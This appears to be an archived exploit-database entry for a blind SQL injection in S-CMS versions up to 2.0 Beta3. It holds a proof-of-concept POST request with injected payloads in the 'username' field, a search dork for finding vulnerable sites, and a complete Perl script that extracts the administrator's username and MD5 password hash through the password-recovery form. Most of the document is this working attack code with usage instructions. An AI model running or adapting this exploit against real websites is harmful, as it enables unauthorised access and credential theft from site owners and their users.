S-CMS <= v-2.0 Beta3 Sql Injection

2009.06.10
Credit: y3nh4ck3r
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/perl # #------------------------------------------------------------------------ #(Post Form var 'username') BLIND SQLi exploit --S-CMS <= v-2.0 Beta3--> #------------------------------------------------------------------------ # #CMS INFORMATION: # #-->WEB: http://www.matteoiammarrone.com/public/s-cms/ #-->DOWNLOAD: http://www.matteoiammarrone.com/public/s-cms/ #-->DEMO: N/A #-->CATEGORY: CMS / Portal #-->DESCRIPTION: Cms written in php and mysql, phpnuke style whit a plugins, # blocks and permission system. #-->RELEASED: 2009-05-25 # #CMS VULNERABILITY: # #-->TESTED ON: firefox 3 #-->DORK: "S-CMS by matteoiamma" #-->CATEGORY: BLIND SQLi exploit #-->AFFECT VERSION: <= 2.0-Beta3 #-->Discovered Bug date: 2009-05-25 #-->Reported Bug date: 2009-05-25 #-->Fixed bug date: 2009-05-28 #-->Info patch(2.1): http://www.matteoiammarrone.com/public/s-cms/plugin.php?page=phpbb3 #-->Author: YEnH4ckEr #-->mail: y3nh4ck3r[at]gmail[dot]com #-->WEB/BLOG: N/A #-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. #-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) # #------------ #CONDITIONS: #------------ # #magic quotes=OFF # #{db_prefix} by default=cms # #------- #NEED: #------- # #Valid username # #--------------------------------------- #PROOF OF CONCEPT (SQL INJECTION): #--------------------------------------- # #POST http://[HOST]/[PATH]/plugin.php?page=your_account.php&mode=passlost HTTP/1.1 #Host: [HOST] #User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 #Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 #Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3 #Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 #Keep-Alive: 300 #Proxy-Connection: keep-alive #Referer: http://[HOST]/[PATH]/html/plugin.php?page=your_account.php&mode=passlost # #username=pepe%27+or+1%3D%271&recupera_pass=Recover+password --> OK, sending code # #username=pepe%27+or+1%3D%270&recupera_pass=Recover+password --> Uhm?, username doesn't exist # #-------------- #WATCH VIDEOS #-------------- # # BSQLi --> http://www.youtube.com/watch?v=oVYrVcfA6Vo # # SQLi --> http://www.youtube.com/watch?v=S__l5IKzYNU # --> http://www.youtube.com/watch?v=LprQDdZ6ZcU # # LFI --> http://www.youtube.com/watch?v=2NhaNFbyP_w # # ##*******************************************************************## ## SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 ... ## ##*******************************************************************## ##-------------------------------------------------------------------## ##*******************************************************************## ## GREETZ TO: SPANISH H4ck3Rs community! ## ##*******************************************************************## # # use LWP::UserAgent; use HTTP::Request; #Subroutines sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; } if($linux){ system("clear"); } else{ system("cls"); system ("title S-CMS V-2.0 Beta3 Blind SQL Injection Exploit"); system ("color 02"); } } sub request { my $userag = LWP::UserAgent->new; $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $request = HTTP::Request -> new(POST => $_[0]); $request->referer($_[0]); $request->content_type('application/x-www-form-urlencoded'); $request->content($_[1]); my $outcode= $userag->request($request)->as_string; #print $outcode; #--> Active this line for debugger mode #print $request->as_string; #--> Active this line for debugger mode return $outcode; } sub error { print "\t------------------------------------------------------------\n"; print "\tWeb isn't vulnerable!\n\n"; print "\t--->Maybe:\n\n"; print "\t\t1.-Patched.\n"; print "\t\t2.-Bad path or host.\n"; print "\t\t3.-Bad username.\n"; print "\t\t4.-db_prefix isn't 'cms'.\n"; print "\t\t5.-Magic quotes ON'.\n"; print "\t\tEXPLOIT FAILED!\n"; print "\t------------------------------------------------------------\n"; } sub testedblindsql { print "\t-----------------------------------------------------------------\n"; print "\tWEB MAYBE BE VULNERABLE!\n\n"; print "\tTested Blind SQL Injection.\n"; print "\tStarting exploit...\n"; print "\t-----------------------------------------------------------------\n\n"; } sub helper { print "\n\t[!!!] S-CMS V-2.0 Beta3 Blind SQL Injection Exploit\n"; print "\t[!!!] USAGE MODE: [!!!]\n"; print "\t[!!!] perl $0 [HOST] [PATH] [USER]\n"; print "\t[!!!] [HOST]: Web.\n"; print "\t[!!!] [PATH]: Home Path.\n"; print "\t[!!!] [USER]: Username for fish\n"; print "\t[!!!] Example: perl $0 'www.example.com' 'demo' 'y3nh4ck3r'\n"; } sub brute_length{ #Username length $exit=0; $i=0; while($exit==0){ my $blindsql="username=".$_[1]."'+AND+(SELECT+length(username)+FROM+cms_users+WHERE+uid=1)='".$i++."&recupera_pass=Recover+password"; #injected code $output=&request($_[0],$blindsql); if($output =~ (/\<center\>Generate a confirmation code that was sent via email\.\<\/center\>/)){ $exit=1; }else{ $exit=0; } #This is the max length of username if($i>50){ &error; exit(1); } } #Save column length $length=$i-1; print "\t<<<<<--------------------------------------------------------->>>>>\n"; print "\tLength catched!\n"; print "\tLength Username --> ".$length."\n"; print "\tWait several minutes...\n"; print "\t<<<<<--------------------------------------------------------->>>>>\n\n"; return $length; } sub exploiting { #Bruteforcing values $values=""; $k=1; $z=45; while(($k<=$_[1]) && ($z<=126)){ my $blindsql="username=".$_[3]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+cms_users+WHERE+uid=1),".$k.",1))='".$z."&recupera_pass=Recover+password"; $output=&request($_[0],$blindsql); if($output =~ (/\<center\>Generate a confirmation code that was sent via email.\<\/center\>/)) { $values=$values.chr($z); $k++; $z=45; } #new char $z++; } return $values; } #Main &lw; print "\t#######################################################\n\n"; print "\t#######################################################\n\n"; print "\t## S-CMS V-2.0 Beta3 Blind SQL Injection Exploit ##\n\n"; print "\t## Blind SQL Injection Exploit ##\n\n"; print "\t## ++Conditions: magic_quotes=OFF ##\n\n"; print "\t## ++Needed: Valid username (USER) ##\n\n"; print "\t## Author: Y3nh4ck3r ##\n\n"; print "\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n"; print "\t## Proud to be Spanish! ##\n\n"; print "\t#######################################################\n\n"; print "\t#######################################################\n\n"; #Init variables my $host=$ARGV[0]; my $path=$ARGV[1]; my $userforfish=$ARGV[2]; $numArgs = $#ARGV + 1; if($numArgs<=2) { &helper; exit(1); } #Build uri my $finalhost="http://".$host."/".$path."/plugin.php?page=your_account.php&mode=passlost"; $finalrequest = $finalhost; #Testing blind sql injection and magic_quotes (any error?) $send_post1="username=".$userforfish."%27+or+1%3D%271&recupera_pass=Recover+password"; $output1=&request($finalrequest,$send_post1); $send_post2="username=".$userforfish."%27+or+1%3D%270&recupera_pass=Recover+password"; $output2=&request($finalrequest,$send_post2); if ($output1 eq $output2) { #Not injectable &error; exit(1); }else{ #blind sql injection is available &testedblindsql; } #Bruteforcing length $length_user=&brute_length($finalrequest,$userforfish); #Bruteforcing username... $user=&exploiting($finalrequest,$length_user,'username',$userforfish); #Bruteforcing password md5 hash... $pwhash=&exploiting($finalrequest,32,'password',$userforfish); #final checking if((!$user) || (!$pwhash)){ &error; exit(1); } print "\n\t\t*************************************************\n"; print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY ********\n"; print "\t\t*************************************************\n\n"; print "\t\tAdmin-username: ".$user."\n"; print "\t\tAdmin-password: ".$pwhash."\n\n"; print "\n\t\t<<----------------------FINISH!-------------------->>\n\n"; print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n"; print "\t\t<<------------------------EOF---------------------->>\n\n"; exit(1); #Ok...all job done

References:

http://seclists.org/bugtraq/2009/Jun/0095.html


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